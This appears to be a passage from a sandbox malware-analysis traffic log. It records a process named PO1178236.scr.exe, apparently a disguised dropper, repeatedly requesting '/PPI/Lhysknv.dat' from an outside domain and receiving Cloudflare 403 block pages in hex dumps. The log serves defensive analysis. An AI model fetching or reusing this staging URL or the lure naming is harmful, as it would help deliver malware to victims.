2025-01-09 07:29:24 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KrEh1UeoDpbHX4ztEiKsHfBebXfIykFxaw0U%2FGEGaoI2ijhn00yCsWzq8BlRRutVou6z4aPXMeO7cRnPSI%2Bz89Sh0jJS2tM3lLg%2Fcd5tbW7QUc6ex%2FcGEG1oVmI%2FeidsCpZSdjmb%2FpRPp66k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b750ea5641db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1741&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1676234&cwnd=235&unsent_bytes=0&cid=ab5ab6aee3dcfb75&ts=140&x=0"
2025-01-09 07:29:24 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:24 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 35 30 65 61 35 36 34 31 64 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b750ea5641db</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:24 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 35 30 65 61 35 36 34 31 64 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b750ea5641db',t:'MTczNjQwNzc2NC4wMDAwMDA='}
2025-01-09 07:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49908	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:25 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:25 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4Gw%2FoamHWGqMRulR2c5%2FLeP67bcV4SCjhMiYrOfkhi6yyJtwZiolZ%2B2%2FPJ%2B9wXUbJT%2FjzciB2p4O6iMZJOmq0caRp4XRkIb1ccGBDXES2Rvnhtn6hcUVcRVsxCqbP9flPiXFkrpYuBUcFj8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b754da6f0f73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1680&rtt_var=639&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1701631&cwnd=233&unsent_bytes=0&cid=1338cf1de6441938&ts=150&x=0"
2025-01-09 07:29:25 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 35 34 64 61 36 66 30 66 37 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b754da6f0f73</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:25 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 35 34 64 61 36 66 30 66 37 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b754da6f0f73',t:'MTczNjQwNzc2NS4wMDAwMDA='}
2025-01-09 07:29:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49911	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:25 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:25 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y0RYmSv5AYCARjA38xmkhoTFzL%2BB81OnsY254lVLRUc0vIoM2mNZy4m4wckDfTQFMIxwvTJG2ZH7Q5f3OjV00t8UR1jE5kLKoYxHhX2KO5lz0FCDJTy7vMjZSDv%2FsHEsMMMPCo%2F7%2FvXIZ%2F54"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b759285e429d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1762&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1586956&cwnd=246&unsent_bytes=0&cid=1db156beaa8629f6&ts=141&x=0"
2025-01-09 07:29:25 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:25 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 35 39 32 38 35 65 34 32 39 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b759285e429d</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:25 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 35 39 32 38 35 65 34 32 39 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b759285e429d',t:'MTczNjQwNzc2NS4wMDAwMDA='};v
2025-01-09 07:29:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49916	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:26 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:26 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0JsV%2B%2BypHm2T0lSeI0XLn13PNOhWgFDu0t6cScdapULNLJjFgAAQ9k%2BJQQO7PEJjuTVhLP40UkO1gUAR%2Fr0uJruzhasVqMShjTWvUl0zmTuzmg81DK4bTKWxUekgL%2FxvsjF8gvsrWeEluGGX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b75d2cc20f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1535&rtt_var=580&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1902280&cwnd=215&unsent_bytes=0&cid=22707ebae1c62611&ts=150&x=0"
2025-01-09 07:29:26 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 